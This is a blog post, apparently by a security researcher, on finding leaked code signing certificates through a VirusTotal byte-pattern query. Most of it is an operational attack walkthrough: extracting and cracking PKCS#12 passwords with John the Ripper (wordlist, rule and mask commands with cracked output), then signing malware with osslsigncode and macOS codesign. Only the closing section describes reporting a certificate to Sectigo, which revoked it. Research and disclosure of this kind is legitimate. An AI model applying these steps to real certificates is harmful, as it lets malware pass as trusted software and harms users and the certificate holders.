Finding and utilising leaked code signing certificates

Posted on by Tijme Gommers.

[TL;DR] Using tools such as VirusTotal, it is possible to find leaked code signing certificates. For some, the password can be cracked, after which they can be used to sign malicious code. In this blog post I explain this process, including responsible disclosure measures.


This blog post consists of 4 chapters. Finding leaked certificates, cracking their passwords, using them to sign malware, and reporting leaked certificates to certificate authorities.

1. Finding certificates

There are many ways to find code signing certificates online. If you’re lucky, you’ll find one that is still valid. In my journey, I mostly used VirusTotal, but it seems that platforms like Grayhat Warfare and GitHub also have many certificates uploaded to them. We’ll use VirusTotal in this blog post.

With the query below, you can find files with a byte sequence commonly observed in signing certificates. The sequence is often part of ASN.1 DER encoded files (RFC7292). At offset 4, a version number should be present that always has the value 3. This is denoted by the 02 01 03. The 4th byte in the sequence is 30, which represents the start of a new sequence.

content:{02 01 03 30}@4 NOT tag:msi AND NOT tag:peexe

The results can be downloaded via the VirusTotal GUI or API.

Search results on VirusTotal

I downloaded about 50 certificates that were recently uploaded to VirusTotal.

2. Cracking PKCS#12 passwords

My go-to hash-cracking software is Hashcat. Unfortunately, it does not support cracking PKCS#12 files. John the Ripper does support PKCS#12. First, we need to extract a hash from our PKCS#12 file. This can be done using John’s pfx2john.py Python script. I made a few changes to make the script compatible with Python 3.

pfx2john.py certificate.pfx > certificate.hash

If you’ve generated hashes based on the certificates you found, you can crack them using John with the following arguments. In this example, we use rockyou.txt as a wordlist.

$ john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/*

Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2)])
-- snip --
123              (7f61a5a51fe9eef15c9e2ddf03fe10c6.pfx)
123              (66a9882f1d8463501f7fc89b1a12700b.pfx)
                 (83bfdbd568b967baf24b7c44935b9a12.pfx)
test             (certificate.pfx)
-- snip --
Session completed.

:warning: If John cannot load your hash, make sure to install the latest version of John from source (to ensure you have PKCS#12 support).

As you can see, some of the hashes got cracked quite easily. The password for the last one is test. For the cracked certificates, check if they’re trusted and still valid (e.g. not revoked). For the trusted and valid ones, ensure that they have the Code Signing Object Identifier (OID): 1.3.6.1.5.5.7.3.3. Now hopefully you have one left. You’ll be able to use it to sign malware!

Extended Key Usage: Code Signing

PS: If you want to use a more extensive password list with John the Ripper, look for one on Weakpass. You could try to use rules and masks as well. I’ve added two examples below for you to get started.

# With rules
./john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/* --rules:OneRuleToRuleThemAll

# With mask
./john --mask=?1?1?1?1?1?1?1?1?1 -1=[A-z0-9\!\@] --format=pfx-opencl ./hashes/* -min-len=1

3. Signing malware

If you’ve found and cracked a valid and trusted signing certificate, you can use it to sign malware. I’ll demonstrate signing malware for both Windows and MacOS.

Windows

To sign PE files, there is an amazing open source project called osslsigncode. Once installed, run the following command to create a signed version of your malware.

osslsigncode sign -pkcs12 certificate.pfx -pass test -in malware.exe -out signed-malware.exe
Succeeded

To verify if the signature is valid and correctly applied, you can use osslsigncode as well.

osslsigncode verify signed-autoruns.exe

-- snip --
Authenticated attributes:
    Message digest algorithm: SHA256
    Message digest: C89F86DBE18BB37C44857F3535E5984DCA783610BDFEBF18F659F5275D8D5236
    Signing time: Jun  7 18:49:06 2023 GMT
    Microsoft Individual Code Signing purpose

-- snip --
Signature verification: ok

Number of verified signatures: 1
Succeeded

:warning: Please note that in my experience osslsigncode does not check if a certificate has been revoked.

Signed malware

Finally; enjoy your signed malware!

MacOS

If you’re signing an existing (modified) app for MacOS, please first remove the existing signature.

codesign --remove-signature malicious.app

Afterwards, import the signing certificate into your keychain. Right-click it and create a new signing identity. Use a name of your choice.

Creating a signing identity

You can now use this identity to sign your malicious app.

codesign -s "your_identity" malicious.app

To check if everything worked, we verify the signature. If everything is okay, the command will not output anything.

codesign --verify malicious.app

If something is wrong, an error will be shown. This is what the output looks like when, for example, your certificate is revoked.

codesign --verify malicious.app

malicious.app: CSSMERR_TP_CERT_REVOKED
In architecture: x86_64

4. Reporting leaked certificates

In the example above, the leaked certificate was issued by Sectigo. Sectigo, and any other certificate authority, provides ways to report abuse, including fraudulent or malicious use of certificates. I mailed Sectigo with the following details of the certificate that I found:

  • VirusTotal link (including a link to malware signed by the certificate).
  • Password.
  • Serial number.
  • SHA-256 hash.
  • SHA-1 hash.

8 days later Sectigo stated that, upon continued investigation, they found that the signing certificate was indeed involved in malicious activity and has now been revoked.